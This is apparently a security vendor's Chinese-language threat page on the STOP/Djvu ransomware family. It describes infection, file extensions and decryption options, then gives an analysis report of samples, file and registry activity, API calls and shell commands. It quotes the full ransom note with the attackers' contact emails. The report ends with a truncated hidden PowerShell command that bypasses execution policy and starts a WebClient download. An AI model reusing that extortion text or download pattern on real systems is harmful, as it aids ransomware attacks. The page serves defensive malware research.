停止Djvu勒索軟件

STOP勒索軟件家族（也稱為STOP Djvu Ransomware家族）是一種威脅很大的惡意軟件。儘管STOP Djvu的某些影響文件類型和加密文件擴展名的方法有所不同，但它們只是具有共同特徵並起源於STOP勒索軟件的多種威脅之一。

最初的STOP Ransomware早在2018年2月就被安全研究人員發現。但是，從那時起，它就得到了發展，其克隆和分支產品家族也不斷增加。分發STOP勒索軟件的主要方法是使用損壞的附件發送垃圾郵件活動。

STOP Djvu勒索軟件的執行方式類似於同類的其他勒索軟件威脅，對用戶可能在其係統中使用的關鍵文件進行加密和阻止訪問。可以對個人文件，圖片，文檔等進行加密，並且基本上禁止計算機上的所有用戶使用。 STOP Djvu勒索軟件最初於2018年12月被發現，這似乎是一個非常成功的在線感染活動。研究人員並未意識到勒索軟件的傳播方式，但後來的受害者報告說，他們在下載密鑰源或破解程序後發現了感染。一旦發生滲透，STOP Djvu勒索軟件會更改Windows設置，並在文件中附加一系列名稱，例如.djvu，.djvus，.djvuu，.uudjvu，.udjvu或.djvuq，以及最近的.promorad和.promock擴展名。較新的版本還沒有解密器，但是較舊的版本可以使用STOPDecrypter解密。建議用戶無論如何避免支付任何贖金。

用於阻止訪問文件的方法使用RSA加密算法。儘管對於沒有經驗的用戶來說，解密文件似乎很困難，但是絕對不需要付出任何努力來支付威脅背後的人員。在這種情況下通常會提供虛假承諾，因此用戶付款後很快就會發現它們被忽略了。

STOP Djvu勒索軟件的攻擊於2018年末首次報導。STOPDjvu的主要分發方法仍然是垃圾郵件，並且針對勒索軟件核心的調整相對較小。垃圾郵件中使用的大多數偽造的，受感染的附件都是啟用宏的辦公文檔或偽造的PDF文件，它們在受害者不知情的情況下運行勒索軟件。 STOP Djvu的行為也沒有太大變化-勒索軟件仍會刪除所有Shadow Volume快照以擺脫備份，然後開始加密受害者的文件。

贖金記錄有一些細微變化，該記錄另存為" _openme.txt"到受害者的桌面。贖金說明的文本可以在這裡找到：

'[贖金開始]
————————加密您的所有文件————————

不用擔心，您可以返回所有文件！
您所有的文件文檔，照片，數據庫和其他重要文件均使用最強的加密和唯一密鑰進行加密。
恢復文件的唯一方法是為您購買解密工具和唯一密鑰。
該軟件將解密您所有的加密文件。
我們為您提供什麼保證？
您可以從PC發送加密文件之一，而我們將免費對其進行解密。
但是我們只能免費解密1個文件. 文件中不得包含有價值的信息
不要嘗試使用第三方解密工具，因為它會破壞您的文件。
如果您在72小時內與我們聯繫，可享受50％的折扣。

——————————————————————————————————

要獲得此軟件，您需要在我們的電子郵件中寫信：
helpshadow@india.com

保留電子郵件地址與我們聯繫：
helpshadow@firemail.cc

您的個人ID：[字符串]
[贖金結束]'

勒索軟件將自身限制為最初以.djvu擴展名重命名加密的文件，這是一個很好的選擇，因為.djvu實際上是由AT＆T Labs開發的合法文件格式，用於存儲掃描的文檔，有點類似於Adobe的.pdf。更高版本的勒索軟件對加密文件採用了一系列其他擴展名，包括" .chech"，"。luceq"，"。kroput1"，"。charck"，"。kropun"，"。luces"，"。pulsar1"，"。 ''.uudjvu'，'。djvur，'。tfude，'。tfudeq'和'.tfudet'。

可以使用安全研究人員Michael Gillespie開發的所謂的" STOPDecrypter"來免費解密STOP Djvu勒索軟件的某些菌株，並可以在線免費下載。

目錄

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停止Djvu勒索軟件視頻

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停止Djvu勒索軟件 截图

分析报告

一般信息

Family Name:	STOP/DJVU Ransomware
Signature status:	Self Signed

Known Samples

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Known Samples

This section lists other file samples believed to be associated with this family.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 文件大小: 6.29 MB, 6292105 bytes

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C 文件大小: 3.47 MB, 3471869 bytes

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 文件大小: 1.36 MB, 1359918 bytes

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 文件大小: 1.33 MB, 1328186 bytes

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 文件大小: 3.36 MB, 3357556 bytes

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MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB 文件大小: 1.36 MB, 1364106 bytes

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 文件大小: 4.86 MB, 4858569 bytes

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 文件大小: 1.41 MB, 1406899 bytes

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F 文件大小: 600.12 KB, 600124 bytes

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF 文件大小: 316.83 KB, 316832 bytes

Windows Portable Executable Attributes

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Windows Portable Executable Attributes

This section lists file attributes found within family samples. These attributes are extracted from the files’ Windows PE (Portable Executable) specification and various system flags. Portable Executable Attributes give malware researchers insight into a file’s functionality, executable details, platform and runtime environment.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

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• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

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File Icons

This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.

Windows PE Version Information

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Windows PE Version Information

This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.

姓名	价值
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal TrayToolbar WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR Installer
File Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 1.4.1.0 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll WinRAR
Legal Copyright	Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional TrayToolbar WinRAR WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 5.60 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

Digital Signatures

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Digital Signatures

This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.

Signer	Root	Status
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

File Traits

• .NET
• 2+ executable sections
• big overlay
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)
• No Version Info

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• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

Files Modified

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Files Modified

This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.

File	Attributes
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data

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c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

Registry Modifications

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Registry Modifications

This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.

Key::Value	数据	API Name
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API Usage

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Windows API Usage

This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.

Category	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose Show More ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Shell Command Execution

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Shell Command Execution

This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

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powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient